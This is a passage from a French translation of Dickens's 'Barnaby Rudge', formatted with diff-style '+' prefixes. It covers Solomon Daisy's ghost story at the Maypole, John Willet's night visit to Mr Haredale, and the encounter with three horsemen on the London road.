+conversation intermittente, répliquèrent sans difficulté
+qu'assurément Salomon était fort en retard, et qu'ils s'étonnaient
+de ce qui pouvait le retenir.
+
+«Il n'a pas été emporté par le vent, je suppose? dit Parkes,
+quoique le vent soit assez fort pour enlever un homme de sa
+taille, et sans se gêner encore. Tenez! entendez-vous? on dirait
+de la grosse artillerie. Il y aura bien du fracas ce soir dans la
+forêt, et plus d'une branche brisée à ramasser par terre demain
+matin.
+
+-- Il ne brisera toujours pas grand chose au Maypole, je vous en
+réponds, monsieur, répliqua le vieux John. Il n'a qu'à essayer. Je
+lui en donne la permission. Qu'est-ce que c'est que ça?
+
+-- Le vent, cria Parkes. Il hurle comme un chrétien, il n'a fait
+que ça toute la soirée.
+
+-- Avez-vous jamais, monsieur, demanda John, après une minute de
+contemplation, entendu le vent dire: «Maypole?»
+
+-- Eh mais, qui donc l'a jamais entendu? dit Parkes.
+
+-- Ni: «Ohé!» peut-être? ajouta John.
+
+-- Non, pas davantage.
+
+-- Très bien, monsieur, dit M. Willet sans la plus légère émotion.
+En ce cas, si c'était le vent, comme vous dites, que j'entendais
+tout à l'heure, et pour peu que vous veuillez vous donner la peine
+d'écouter un moment sans parler, vous allez voir comme il dit ces
+deux mots-là d'une manière très distincte.»
+
+M. Willet avait raison. Après avoir écouté quelques instants, ils
+purent entendre distinctement, par-dessus le tumulte rugissant du
+dehors, ce cri répété; et cela d'une façon perçante et avec une
+énergie dénotant qu'il venait d'une personne en proie à une grande
+douleur ou à une grande terreur. Ils se regardèrent les uns les
+autres, pâlirent et retinrent leur haleine. Pas un ne bougea.
+
+Ce fut dans cette conjoncture que M. Willet déploya quelque chose
+de la vigueur d'esprit et de la plénitude de ressources mentales
+qui lui attiraient l'admiration de tous ses amis et voisins. Après
+avoir regardé MM. Parkes et Cobb quelque temps en silence, il
+appliqua ses deux mains à ses joues, et poussa un rugissement qui
+fit danser les verres et résonner les chevrons; un beuglement
+longtemps soutenu, discordant, qui, roulant avec le vent et
+faisant tressaillir chaque écho, rendit cette bruyante nuit cent
+fois plus tumultueuse; un braiment profond, éclatant, formidable,
+qui retentit comme un gong humain. Puis, ayant toutes les veines
+de sa tête et de sa figure enflées par ce grand effort, et la
+pourpre la plus vive répandue sur son teint, il s'avança plus près
+du feu, et y tournant le dos, il dit avec dignité:
+
+«Si ça peut réconforter quelqu'un, qu'il en profite; si c'est
+inutile, j'en suis fâché pour lui. S'il plaît à l'un de vous deux
+de sortir et d'aller voir ce qui en est, vous le pouvez,
+messieurs. Je ne suis pas curieux pour ma part.»
+
+Tandis qu'il parlait, le cri se rapprocha, se rapprocha, un bruit
+de pas se fit entendre sous la fenêtre, le loquet de la porte fut
+levé, elle s'ouvrit; on la referma violemment, et Salomon Daisy,
+avec sa lanterne allumée à la main et ses habits en désordre et
+ruisselants de pluie, se précipita dans la salle.
+
+Il serait difficile d'imaginer une peinture plus exacte de la
+terreur que celle que présentait le petit bonhomme. Sa
+transpiration formait des perles sur sa figure, ses genoux
+claquaient l'un contre l'autre, chacun de ses membres tremblait,
+il avait perdu tout pouvoir d'articuler des mots; il était là
+debout, haletant, fixant sur eux des regards si livides, si
+plombés, qu'ils furent infectés de son effroi, bien qu'ils en
+ignorassent la cause, et que, reflétant son visage terrifié,
+frappé d'horreur, ils reculèrent ébahis, sans se risquer à lui
+faire la moindre question. Enfin le vieux John Willet, dans un
+accès de délire momentané, se jeta sur sa cravate, et, le
+saisissant par cette partie de son costume, le secoua de çà et de
+là, si bien que ses dents lui en claquaient dans la tête.
+
+«Dites-nous tout de suite ce que vous avez, monsieur, cria John,
+ou je vous tue. Dites-nous ce que vous avez, ou je vous plonge à
+l'instant la tête dans le chaudron. Comment osez-vous prendre cet
+air-là? Y a-t-il quelqu'un qui vous poursuive? Dites quelque
+chose, ou je vous extermine, oui, je vous extermine.»
+
+M. Willet, dans sa frénésie, fut si près de tenir sa parole à la
+lettre, car Salomon Daisy commençait déjà à rouler ses yeux d'une
+manière alarmante, et certains sons rauques, semblables à ceux
+d'un homme qui suffoque, sortaient déjà de sa gorge, que les deux
+spectateurs, qui avaient un peu recouvré leurs sens, lui
+arrachèrent de force sa victime, et placèrent le petit sacristain
+de Chigwell sur une chaise. Celui-ci, jetant un regard d'épouvanté
+autour de la salle, les supplia d'une voix faible de lui donner
+quelque chose à boire; et surtout de fermer à clef la porte de la
+maison, et de mettre les barres aux volets, sans perdre un moment.
+La dernière requête n'était pas propre à rassurer ses auditeurs,
+ni à les remplir des sensations les plus réconfortantes. Ils
+firent néanmoins ce qu'il demandait, avec toute la célérité
+possible; et, après lui avoir servi une rasade de grog presque
+bouillant, ils attendirent le récit de ce qu'il pouvait avoir à
+leur apprendre.
+
+«Ô Johnny, dit Salomon en le secouant par la main. Ô Parkes! Ô
+Tommy Cobb! pourquoi ai-je quitté l'auberge ce soir? le dix-neuf
+mars! le jour le plus terrible de l'année, le dix-neuf mars!»
+
+Ils se rapprochèrent tous du feu. Parkes, qui était le plus près
+de la porte, tressaillit et regarda par-dessus son épaule.
+M. Willet, avec une grande indignation, demanda ce que diable il
+voulait dire par là; puis il dit: «Dieu me pardonne!» lança un
+coup d'oeil de mépris par-dessus son épaule, et se rapprocha de
+l'âtre tant soit peu.
+
+«Lorsque je vous laissai ici ce soir, dit Salomon Daisy, je ne
+songeais guère au quantième. Je n'étais jamais allé seul dans
+l'église après la brune, à pareil jour, depuis vingt-sept ans: car
+j'ai entendu dire que, comme nous fêtons nos anniversaires de
+naissance durant notre vie, les fantômes des morts qui sont mal à
+leur aise dans leurs tombeaux, fêtent l'anniversaire de leur
+décès... Comme le vent rugit!»
+
+Personne ne dit mot. Tous les yeux étaient fixés sur Salomon.
+
+«J'aurais dû reconnaître la date, ainsi que ce temps exécrable. Il
+n'y a pas dans tout le cours de l'année une nuit pareille à cette
+nuit, il n'y en a pas. Jamais je ne dors tranquille dans mon lit
+le dix-neuf mars.
+
+-- Continuez, dit Tom Cobb à voix basse; ni moi non plus.»
+
+Salomon Daisy porta son verre à ses lèvres; il le remit sur le
+carreau d'une main si tremblante que la cuiller tinta dans le
+verre comme une clochette, et il continua ainsi:
+
+«Ne vous disais-je pas bien que nous étions ramenés à ce sujet de
+quelque étrange façon, à chaque anniversaire du dix-neuf mars?
+Supposez-vous que ce soit par un simple hasard que j'avais oublié
+de remonter l'horloge de l'église? Jamais je ne l'oublie
+d'ordinaire, bien que cette sotte machine ait besoin d'être
+remontée chaque jour. Pourquoi ma mémoire serait-elle plus en
+défaut ce jour-là que tous les autres?
+
+«J'y allai au sortir d'ici, avec autant de hâte que possible: mais
+j'avais à passer d'abord à la maison pour prendre les clefs; et,
+le vent et la pluie faisant rage contre moi tout le long de la
+route, c'était tout ce que je pouvais faire que de me tenir sur
+mes jambes. Enfin j'arrive, j'ouvre la porte et j'entre. Je
+n'avais pas rencontré une âme tout le long de la route, jugez si
+c'était rassurant. Pas un de vous n'avait voulu me tenir
+compagnie, et, si vous aviez pu vous douter de ce qui allait
+advenir, vous aviez bien raison.
+
+«Le vent était si violent, que c'est tout au plus si je pus fermer
+la porte de l'église en appuyant de tout mon poids; et malgré ça,
+elle s'ouvrit toute grande deux fois avec une telle force, que
+chacun de vous aurait juré, en voyant la résistance qu'elle
+opposait à mes efforts, que quelqu'un poussait de l'autre côté. Je
+finis cependant par tourner la clef, j'entrai dans le beffroi, et
+je remontai l'horloge: il était temps, elle était presque au bout
+de son rouleau, et elle allait s'arrêter dans une demi-heure.
+
+«Lorsque je pris ma lanterne pour quitter l'église, voilà que je
+me sens l'esprit frappé de l'idée que c'était le dix-neuf mars,
+mais frappé, là, comme d'un coup qu'une main robuste m'eût porté
+pour mieux me le faire entrer dans la tête; au même moment,
+j'entendis une voix hors de la tour... une voix qui s'élevait
+d'entre les tombeaux.»
+
+Ici le vieux John interrompit précipitamment l'orateur, et pria
+M. Parkes, qui était assis en face de lui et regardait fixement
+par-dessus sa tête, s'il voyait quelque chose, d'avoir la bonté de
+le lui dire. M. Parkes s'excusa en déclarant qu'il ne voyait rien,
+que c'était seulement pour écouter. M. Willet riposta avec colère
+que sa façon d'écouter avec une pareille expression de physionomie
+n'était pas agréable, et que, s'il ne pouvait point regarder comme
+tout le monde, il ferait mieux de se couvrir la tête avec son
+mouchoir. M. Parkes, avec une grande soumission, promit de ne pas
+y manquer à sa première sommation, et John Willet, se tournant
+vers Salomon, le pria de continuer. Après avoir attendu qu'une
+violente bourrasque de vent et de pluie, qui semblait ébranler
+même cette solide maison jusqu'en ses fondements, fût passée, le
+petit homme obéit à sa requête.
+
+«Et n'allez pas me dire que c'était un effet de mon imagination,
+ni que je pris un bruit pour un autre! J'entendis le vent siffler
+à travers les arceaux de l'église. J'entendis le clocher crier en
+résistant. J'entendis la pluie qui venait battre contre les murs.
+Je sentis les cloches en branle. Je vis les cordes aller en haut
+et en bas. Et j'entendis cette voix.
+
+-- Que dit-elle? demanda Tom Cobb.
+
+-- Ma foi! je ne sais quoi; je ne sais pas même si c'étaient des
+paroles. Elle proféra une espèce de cri, comme chacun de nous en
+pousserait un, si quelque vision terrible le poursuivait en rêve
+ou venait l'assaillir à l'improviste; et puis ça s'évanouit dans
+l'air, ça sembla passer tout autour de l'église.
+
+-- Je ne vois pas que ce soit grand'chose, dit John en reprenant
+longuement haleine, et regardant autour de lui comme un homme qui
+se sent soulagé.
+
+-- Peut-être que non, répliqua son ami; mais ce n'est pas tout.
+
+-- Qu'est-ce que vous allez encore nous conter, monsieur? demanda
+John, en s'arrêtant au beau moment où il s'essuyait le front avec
+son tablier; qu'est-ce que vous allez encore nous chanter?
+
+-- Ce que j'ai vu!
+
+-- Vu! répétèrent-ils tous les trois en se penchant vers lui.
+
+-- Quand j'ouvris la porte de l'église pour sortir, dit le petit
+homme avec une expression de physionomie qui témoignait amplement
+de la sincérité de sa conviction, quand j'ouvris la porte de
+l'église pour sortir, ce que je fis brusquement, parce qu'il me
+fallait la refermer avant qu'un autre coup de vent vînt m'en
+empêcher, alors je me croisai, si près qu'en étendant mes doigts
+je l'aurais touché, avec quelque chose qui ressemblait à un homme.
+C'était nu-tête au milieu de l'ouragan! Ça tourna sa figure sans
+s'arrêter, et ça fixa ses yeux sur les miens! C'était un
+fantôme!... un esprit!...
+
+-- De qui?» crièrent-ils tous les trois en même temps.
+
+Dans l'excès de son émotion, car il tomba en arrière tout
+tremblant sur sa chaise, et agita sa main comme s'il les conjurait
+de ne pas l'interroger davantage, sa réponse fut perdue pour tous,
+excepté pour le vieux John Willet, qui se trouvait assis près du
+sacristain.
+
+«Qui donc? crièrent Parkes et Tom Cobb, en regardant avec ardeur
+Salomon Daisy et M. Willet tour à tour. Qui donc était-ce?...
+
+-- Messieurs, dit M. Willet après une longue pause, vous n'avez
+pas besoin de le demander. L'image d'un homme assassiné! C'est le
+dix-neuf mars!»
+
+Un profond silence s'ensuivit.
+
+«Si vous voulez m'en croire, dit John, nous ferons bien, tous tant
+que nous sommes, de tenir ça secret. De pareilles histoires ne
+seraient pas fort goûtées à la Garenne. Gardons ça pour nous,
+quant à présent, ou nous pourrions nous attirer quelque
+désagrément, et Salomon pourrait perdre sa place. Que la chose
+soit réellement comme il le dit ou qu'elle ne le soit pas, peu
+importe. Qu'il ait raison ou qu'il ait tort, personne ne voudra le
+croire. Quant aux probabilités, je ne pense pas, pour ma part, dit
+M. Willet, en regardant les coins de la salle d'une manière qui
+dénotait que, comme quelques autres philosophes, il n'était pas
+parfaitement rassuré sur sa théorie, qu'un fantôme qui aurait été
+un homme sensé pendant sa vie, irait se promener par un pareil
+temps, ce que je sais seulement, c'est que ce n'est pas moi qui
+m'en aviserais à sa place.»
+
+Mais cette doctrine hérétique rencontra une forte opposition chez
+les trois autres camarades, qui citèrent un grand nombre de
+précédents pour montrer que le mauvais temps était précisément le
+temps propice aux apparitions de ce genre, et M. Parkes (qui avait
+eu un fantôme dans sa famille, du côte maternel) argumenta sur le
+sujet avec tant d'esprit et une telle vigueur de raisonnement, que
+John aurait été obligé de se rétracter piteusement, si l'on
+n'avait pas apporté à point le souper, auquel ils s'appliquèrent
+avec un appétit effrayant. Salomon Daisy lui-même, grâce aux
+influences exhilarantes du feu, des lumières, de l'eau-de-vie et
+de la bonne compagnie, recouvra ses sens au point de manier son
+couteau et sa fourchette d'une façon qui lui fit beaucoup
+d'honneur, et de déployer pour boire comme pour manger une
+capacité si remarquable, qu'elle dissipa toutes les craintes qu'on
+aurait pu concevoir pour lui de la peur qu'il avait eue.
+
+Le souper terminé, ils se rassemblèrent encore autour du feu, et,
+conformément à l'usage en de telles circonstances, ils mirent en
+avant toutes sortes de questions majeures qui ne faisaient
+qu'ajouter à l'horreur de cette histoire merveilleuse. Mais
+Salomon Daisy, nonobstant ces tentations de l'incrédulité se
+montra si ferme dans sa foi, et répéta si souvent son récit avec
+de si légères variantes et avec de si solennelles protestations de
+la vérité de ce qu'il avait vu de ses yeux, que ses auditeurs
+furent à bon droit plus étonnés encore que la première fois. Comme
+il adopta les vues de John Willet relativement à la prudence qu'il
+y aurait à ne pas ébruiter cette histoire au dehors, à moins que
+le fantôme ne lui apparût derechef, auquel cas il serait
+nécessaire de demander immédiatement conseil à M. le curé,
+résolution solennelle fut prise de garder le silence et de se
+tenir tranquille. Et, comme la plupart des hommes ne sont pas
+fâchés d'avoir un secret à dire qui puisse rehausser leur
+importance, ils arrivèrent à cette conclusion avec une parfaite
+unanimité.
+
+Cependant il s'était fait tard; l'heure habituelle de leur
+séparation était passée depuis longtemps; les compères se dirent
+adieu pour aller se coucher. Salomon Daisy, avec une chandelle
+neuve dans sa lanterne, regagna son logis sous l'escorte du long
+Phil Parkes et de M. Cobb, qui étaient un peu moins émus que lui.
+M. Willet, après les avoir conduits à la porte, retourna
+recueillir ses pensées avec l'assistance du chaudron, tout en
+écoutant la tempête de vent et de pluie, qui n'avait rien rabattu
+de sa rage et de sa furie.
+
+
+
+
+CHAPITRE XXXIV.
+
+
+Il n'y avait pas plus de vingt minutes que le vieux John
+considérait le chaudron, quand il concentra ses idées sur un point
+unique, en leur donnant pour objet l'histoire de Salomon Daisy.
+Plus il y pensa, plus il devint pénétré du sentiment de sa propre
+sagesse et du désir de faire partager à M. Haredale le même
+sentiment. À la fin, résolu à jouer en cette affaire un rôle
+principal, un rôle de la plus haute importance; voulant d'ailleurs
+devancer Salomon et ses deux amis, qui ne manqueraient pas d'aller
+ébruiter l'aventure, considérablement augmentée, en la confiant au
+moins à une vingtaine de gens discrets comme eux, et très
+vraisemblablement à M. Haredale lui-même, le lendemain, à l'heure
+de son déjeuner; il se détermina à se rendre à la Garenne, avant
+d'aller au lit.
+
+«C'est mon propriétaire, pensa John, tandis que prenant une
+chandelle, et la fixant dans un coin hors de l'atteinte du vent,
+il ouvrait, sur le derrière de la maison, une fenêtre qui
+regardait les écuries. Nous n'avons pas eu durant ces dernières
+années d'aussi fréquentes relations que celles dont nous eûmes
+jadis l'habitude. Des changements vont avoir lieu dans la famille.
+Il est à désirer que je sois avec eux, au point de vue de ma
+dignité, aussi bien que possible. Les chuchotements qu'on fera ici
+de cette histoire le mettront en colère. Il est bon d'être sur un
+pied de confiance avec un gentleman de son caractère, et de se
+mettre bien dans son esprit. Holà, ho! Hugh! Hugh! Holà, ho!»
+
+Quand il eut répété ce cri une douzaine de fois, et réveillé en
+sursaut tous ses pigeons, une porte s'ouvrit dans l'un des vieux
+bâtiments en ruine, et une voix rude demanda ce qu'il y avait de
+nouveau, pour qu'on ne pût pas seulement dormir tranquille pendant
+la nuit.
+
+«Quoi! Ne dormez-vous pas assez, chien hargneux, pour qu'on puisse
+vous réveiller une fois par hasard? dit John.
+
+-- Non, répliqua la voix, tandis que l'orateur bâillait et se
+secouait. Je ne dors pas la moitié de ce qu'il me faudrait de
+sommeil.
+
+-- Je ne sais pas comment vous pouvez dormir lorsque le vent
+beugle et rugit autour de vous, et fait voler les tuiles comme un
+paquet de cartes, dit John; mais peu importe. Enveloppez-vous
+d'une chose quelconque, et venez ici, car il vous faut aller à la
+Garenne avec moi. Et tâchez d'être plus vif que ça.»
+
+Hugh, après avoir beaucoup grogné et marmotté, rentra dans sa
+bauge et reparut bientôt, apportant une lanterne et un gourdin, et
+enveloppé de la tête aux pieds d'une vieille et sale couverture de
+cheval rabattue sur sa figure. M. Willet reçut ce personnage à la
+porte de derrière, et l'introduisit dans la salle, tandis qu'il
+s'enveloppait lui-même d'une foule de pardessus et de capes, et
+qu'il liait et nouait tellement sa figure avec des châles et des
+foulards, que sa respiration était un mystère.
+
+«Vous n'emmènerez pas un homme dehors à près de minuit par un
+temps pareil, sans lui mettre un peu de coeur au ventre, n'est-ce
+pas, maître? dit Hugh.
+
+-- Si fait, monsieur, répliqua John; je lui mettrai du coeur au
+ventre (comme vous appelez ça), lorsqu'il m'aura ramené sain et
+sauf à la maison, et qu'il y aura moins de danger pour la solidité
+de ses jambes, à lui verser à boire. Ainsi, levez la lumière, s'il
+vous plaît, et allez un pas ou deux en avant, pour me montrer le
+chemin.»
+
+Hugh obéit d'assez mauvaise grâce, et en jetant sur les bouteilles
+un regard d'impatient désir. Le vieux John, après avoir
+strictement enjoint à sa cuisinière de tenir la porte fermée à
+clef en son absence, et de n'ouvrir qu'à lui sous peine de renvoi,
+suivit Hugh, dehors dans le tumulte de l'air et l'obscurité du
+ciel.
+
+Le chemin était si détrempé et si affreux, la nuit était si noire,
+que, si M. Willet eût été son propre pilote, il se fût jeté dans
+un profond abreuvoir à quelques centaines de pas de sa maison, et
+aurait certainement terminé sa carrière dans cette ignoble sphère
+d'activité. Mais Hugh, qui avait la vue perçante qu'un faucon, et
+qui, en outre de ce don naturel, était capable de trouver son
+chemin, les yeux bandés, dans n'importe quelle direction, à une
+distance de douze milles, traîna le vieux John à la remorque, se
+montrant tout à fait sourd à ses remontrances, et se dirigea
+d'après ses idées personnelles, sans consulter le moins du monde,
+sans écouter seulement celles de son maître. Tous deux tinrent
+ainsi tête au vent le mieux possible; Hugh écrasant sous ses pieds
+lourds l'herbe trempée, et marchant comme à l'ordinaire d'un air
+sauvage et fanfaron; John Willet le suivant à une longueur de
+bras, choisissant où poser ses pieds, et regardant autour de lui
+s'il n'y avait pas des fossés ou des fondrières, ou s'il ne s'y
+trouvait pas des revenants égarés qui cherchaient leur chemin,
+témoignant enfin autant d'effroi et d'inquiétude que sa figure
+immuable pouvait en exprimer.
+
+Ils finirent par être sur la grande avenue sablée devant la
+Garenne. Le bâtiment était profondément sombre; il n'y avait
+personne qui remuât près de là qu'eux-mêmes. Toutefois, de la
+chambre solitaire d'une tourelle s'échappait un rayon de lumière.
+Ce fut vers ce point lumineux, le seul qui égayât cette scène
+froide, triste et silencieuse, que M. Willet ordonna à son pilote
+de le conduire.
+
+«La vieille chambre, dit John en levant un regard timide,
+l'appartement même de M. Reuben, Dieu nous assiste! Je m'étonne
+que son frère aime à s'y tenir, à une heure si avancée de la nuit,
+et de cette nuit surtout.
+
+-- Eh mais, pourquoi se tiendrait-il ailleurs? demanda Hugh en
+plaçant la lanterne contre sa poitrine pour l'abriter du vent,
+tandis qu'il mouchait la chandelle avec ses doigts. Est-ce qu'elle
+n'est pas bien gentille, cette petite chambre?
+
+-- Gentille! dit John d'un air indigné. En vérité, monsieur, vous
+avez une confortable idée de la gentillesse. Savez-vous ce qui
+s'est fait dans cette chambre, scélérat?
+
+-- Eh mais, elle n'en est pas pire pour ça! cria Hugh en regardant
+fixement la grasse figure de John. Est-ce qu'elle en garantit
+moins de la pluie, de la neige et du vent? Est-elle moins chaude
+ou moins sèche parce qu'un homme y a été tué? Ha, ha, ha! vous ne
+le croyez pas, n'est-ce pas, maître? Un homme de plus ou de moins,
+il n'y a pas là de quoi changer les choses.»
+
+M Willet fixa ses yeux stupides sur son acolyte, et commença, par
+une espèce d'inspiration, à penser qu'il était véritablement fort
+possible que Hugh fût quelqu'un de dangereux, et qu'il y aurait
+peut-être sagesse à s'en débarrasser un de ces jours. Mais il
+était aussi trop prudent pour dire la moindre chose avant d'être
+de retour au logis. Il alla donc à la grille devant laquelle avait
+eu lieu ce court dialogue, et il tira la sonnette, dont le cordon
+pendait à côté. La tourelle où l'on apercevait la lumière se
+trouvant à l'un des coins du bâtiment, et n'étant séparée de
+l'avenue que par une des allées du jardin, sur laquelle donnait
+cette grille, M. Haredale ouvrit aussitôt la fenêtre et demanda
+qui était là.
+
+«Pardon, monsieur, dit John, je savais que vous ne vous couchiez
+pas de bonne heure, et j'ai pris la liberté de venir parce que
+j'avais un mot à vous communiquer.
+
+-- Willet, n'est ce pas?
+
+-- Du Maypole, à votre service, monsieur.»
+
+M. Haredale ferma la fenêtre et se retira. Il reparut bientôt à la
+porte au bas de la tourelle, et, traversant l'allée du jardin, il
+leur ouvrit la grille.
+
+«Vous venez tard chez les gens, Willet. De quoi s'agit-il?
+
+-- De moins que rien, monsieur, dit John; c'est une histoire
+insignifiante, dont j'ai pensé cependant que je devais vous
+instruire. Voilà tout.
+
+-- Que votre domestique aille devant avec la lanterne, et donnez-
+moi votre main. L'escalier est tortueux et étroit. Doucement avec
+votre lanterne, l'ami. Vous la balancez comme un encensoir.»
+
+Hugh, qui avait atteint déjà la tourelle, cessa d'agiter le falot
+et monta le premier, se tournant de temps en temps pour répandre
+en bas sa lumière sur les degrés. M. Haredale venait après lui, et
+observait son visage sombre d'un oeil peu favorable; Hugh
+répondait d'en haut à cet examen en lui rendant avec usure ses
+regards antipathiques, tandis que tous trois gravissaient
+l'escalier en spirale.
+
+L'ascension eut pour terme une petite antichambre attenant à la
+pièce où les nouveaux venus avaient vu de la lumière. M. Haredale
+entra le premier, les mena à travers cette pièce jusqu'à celle du
+fond, et là, s'assit à un bureau d'où il s'était levé lorsqu'on
+avait tiré la sonnette.
+
+«Entrez, dit-il en faisant signe au vieux John, qui restait à la
+porte et s'inclinait. Pas vous, l'ami, ajouta-t-il avec
+précipitation en s'adressant à Hugh, qui entrait comme son maître.
+Willet, pourquoi amenez-vous ici ce garçon?
+
+-- Eh mais, monsieur, répondit John, haussant les sourcils et
+abaissant la voix au diapason de la demande qui lui était faite,
+c'est un camarade solide, comme vous voyez, pour tenir compagnie
+la nuit.
+
+-- Ne vous y fiez pas trop, dit M. Haredale en portant ses yeux
+vers Hugh. Moi, je n'y aurais pas confiance. Il a l'oeil mauvais.
+
+-- Il n'y a pas beaucoup d'imagination dans son oeil, répliqua
+M. Willet en lançant un regard par-dessus son épaule à l'organe en
+question; ça, c'est certain.
+
+-- Il n'y a rien de bon, soyez-en sûr, dit M. Haredale. Attendez
+dans la petite pièce, l'ami, et fermez la porte entre nous.»
+
+Hugh haussa les épaules, et, d'un air dédaigneux qui montrait ou
+qu'il avait entendu de loin, ou qu'il devinait le sens de leur
+chuchotement mystérieux, fit ce qu'on lui commandait. Lorsqu'il se
+fut séparé d'eux en fermant la porte, M. Haredale se tourna vers
+John, et l'invita à dire ce qu'il voulait lui communiquer, mais à
+ne pas le dire trop haut, parce qu'il y avait de fines oreilles de
+l'autre côté.
+
+Ainsi dûment averti, M. Willet raconta tout bas, tout bas, ce
+qu'il avait entendu dire, ce qu'il avait dit lui-même pendant la
+soirée; appuyant particulièrement sur sa sagacité personnelle, sur
+son grand respect pour la famille, et sur sa sollicitude pour la
+paix de leur esprit et leur bonheur. L'histoire émut son auditeur
+beaucoup plus que John ne s'y était attendu. M. Haredale changea
+souvent d'attitude, se leva, marcha dans la chambre, revint
+s'asseoir, le pria de répéter, aussi exactement que possible, les
+propres mots dont s'était servi Salomon, et donna tant d'autres
+signes de trouble et de malaise, que M. Willet lui-même en fut
+surpris.
+
+«Vous avez bien fait, dit-il en finissant cette longue
+conversation, de les engager à tenir secrète une pareille
+histoire. C'est une folle imagination, née dans le faible cerveau
+d'un homme nourri de craintes superstitieuses. Mais Mlle Haredale,
+malgré tout, serait troublée par ce conte, s'il arrivait à ses
+oreilles; cela se rattache de trop près à un sujet qui nous navre
+tous, pour qu'elle en entendît parler avec indifférence. Vous avez
+été très prudent, et je vous ai une extrême obligation. Je vous en
+remercie beaucoup.»
+
+Ce remercîment répondait aux plus ardentes espérances de John; il
+eût toutefois mieux aimé voir M. Haredale le regarder en lui
+parlant, comme si réellement il le remerciait, que de le voir se
+promener de long en large, parler d'un ton brusque et saccadé,
+s'arrêtant souvent pour fixer les yeux sur le parquet, s'élançant
+de nouveau dans sa chambre comme un fou, presque sans avoir l'air
+de savoir ce qu'il disait ni ce qu'il faisait.
+
+Telle fut cependant son attitude pendant cette communication, et
+John en était si embarrassé, qu'il resta longtemps assis tout à
+fait comme un spectateur passif, sans savoir quel parti prendre. À
+la fin il se leva. M. Haredale fixa sur lui son regard étonné
+pendant un moment, comme s'il eût tout à fait oublié sa présence,
+lui donna une poignée de main, et ouvrit la porte. Hugh, qui était
+ou feignait d'être fort endormi sur le plancher de l'antichambre,
+bondit sur ses pieds quand ils entrèrent, et, jetant autour de lui
+son manteau, il empoigna son bâton et sa lanterne, et se prépara à
+descendre l'escalier.
+
+«Attendez, dit M. Haredale, cet homme boira peut-être bien un
+coup.
+
+-- Boire! Il boirait la Tamise, monsieur, si ce n'était pas de
+l'eau, répliqua John Willet. Il aura quelque chose quand nous
+serons rentrés au logis. Il vaut mieux qu'il n'en ait pas avant,
+monsieur.
+
+-- Là! voyez! la moitié de la distance est faite, dit Hugh. Quel
+rude maître vous êtes! Je n'en irai que mieux au logis, si je bois
+un bon verre à mi-route. Allons, un coup à boire!»
+
+Comme John ne riposta pas, M. Haredale apporta un verre de liqueur
+et le donna à Hugh, qui, en le prenant dans sa main, en répandit
+une partie sur le plancher.
+
+«À quoi pensez-vous, monsieur, d'éclabousser ainsi avec votre
+boisson la maison d'un gentleman? dit John.
+
+-- Je porte un toast, répliqua Hugh, levant le verre au-dessus de
+sa tête, et fixant ses yeux sur le visage de M. Haredale, un toast
+à cette maison et à son maître.»
+
+Il marmotta ensuite quelque chose pour lui seul, but le reste du
+liquide, et, replaçant le verre, les précéda sans ajouter un mot.
+
+John fut grandement scandalisé de cet hommage; mais, voyant que
+M. Haredale s'occupait peu de ce que Hugh pouvait dire ou faire,
+et que sa pensée était ailleurs, il se dispensa de lui présenter
+des excuses; il descendit en silence l'escalier, traversa l'allée
+du jardin et franchit la grille. Il s'arrêta du côté extérieur
+pour que Hugh éclairât M. Haredale, tandis que celui-ci fermait en
+dedans. John vit alors avec étonnement (comme il le raconta
+maintes fois par la suite) qu'il était très pâle, et que sa figure
+avait tellement changé depuis leur entrée, et que ses yeux étaient
+devenus si hagards qu'il semblait presque un autre homme.
+
+Ils furent bientôt sur la grande route. John Willet marchait
+derrière son escorte, ainsi qu'en allant à la Garenne, et pensait
+très posément à ce qu'il avait vu tout à l'heure. Soudain Hugh le
+tira de côté, et presque au même instant trois cavaliers passèrent
+au galop, il était temps, car le plus proche lui rasa l'épaule.
+Ces cavaliers, arrêtant leurs chevaux tout court, restèrent
+immobiles et attendirent que les deux piétons fussent arrivés près
+d'eux.
+
+
+
+
+CHAPITRE XXXV.
+
+
+Quand John Willet vit les cavaliers faire vivement volte-face et
+se mettre tous les trois de front sur la route étroite, attendant
+qu'il les eût rejoints avec son domestique, il lui vint à l'idée
+avec une précipitation insolite que ce devaient être des voleurs
+de grand chemin. Si Hugh eût été armé d'une espingole, au lieu de
+son solide gourdin, il lui aurait certainement ordonné de faire
+feu à tout hasard, et, pendant que celui-ci eût exécuté le
+commandement, notre homme eût avisé à sa sûreté personnelle en
+prenant aussitôt la fuite. Mais, dans les circonstances
+désavantageuses où lui et son garde du corps étaient placés, il
+jugea prudent d'adopter un autre genre de tactique. C'est pourquoi
+il chuchota à son acolyte de leur adresser la parole dans les
+termes les plus pacifiques et les plus courtois. Par manière
+d'agir conformément à l'esprit et à la lettre de cette
+instruction, Hugh s'avança et, faisant le moulinet avec son bâton
+devant les yeux mêmes du cavalier le plus proche de lui, il lui
+demanda dans quel dessein il venait avec ses compagnons galoper
+ainsi presque sur eux battant le pavé du roi à cette heure indue.
+
+L'homme à qui il s'était adressé commençait une réplique pleine de
+colère et dans le même style, lorsqu'il fut arrêté par le cavalier
+du centre, qui, s'interposant avec un air d'autorité, dit d'une
+voix un peu haute, mais qui n'avait rien de rude ni de
+désagréable.
+
+«Pourriez-vous nous dire, je vous prie, si c'est bien là la route
+de Londres?
+
+-- Si vous la suivez en droite ligne; c'est elle, répondit Hugh
+avec rudesse.
+
+-- Eh! camarade, dit la même personne, vous n'êtes qu'un Anglais
+grossier, si vous êtes un Anglais, ce dont je douterais fort sans
+la langue que vous parlez. Votre compagnon, j'en suis sûr, me
+répondra plus civilement. Qu'en dites-vous, l'ami?
+
+-- Je dis, monsieur, que c'est la route de Londres, répondit John.
+Et je souhaiterais, ajouta-t-il à voix basse en se tournant vers
+Hugh, que vous fussiez sur quelque autre route, vous, chien de
+vagabond. Êtes-vous las de vivre, monsieur, pour aller provoquer
+trois grands vauriens, trois gibiers de potence qui pourraient
+fondre sur nous, par devant et par derrière, jusqu'à ce qu'ils
+nous eussent mis à mort, et puis prendre nos corps en croupe pour
+aller nous noyer à dix milles d'ici?
+
+-- À quelle distance est Londres? demanda le même cavalier.
+
+-- Eh mais, il y a d'ici, monsieur, répondit John, cinq petites
+lieues.»
+
+Cette locution adoucissante était jetée là pour exciter les
+voyageurs à s'éloigner en toute hâte; mais, au lieu de produire
+l'effet désiré, elle fit jaillir des lèvres du questionneur une
+exclamation toute contraire.
+
+«Cinq lieues! c'est une longue distance!»
+
+Et cette observation fut suivie d'une courte pause d'indécision.
+
+«Dites-moi, je vous prie, dit le gentleman, y a-t-il des auberges
+par ici?»
+
+À ce mot d'auberges, John recueillit son courage d'une manière
+surprenante; ses craintes s'envolèrent comme la fumée; tout
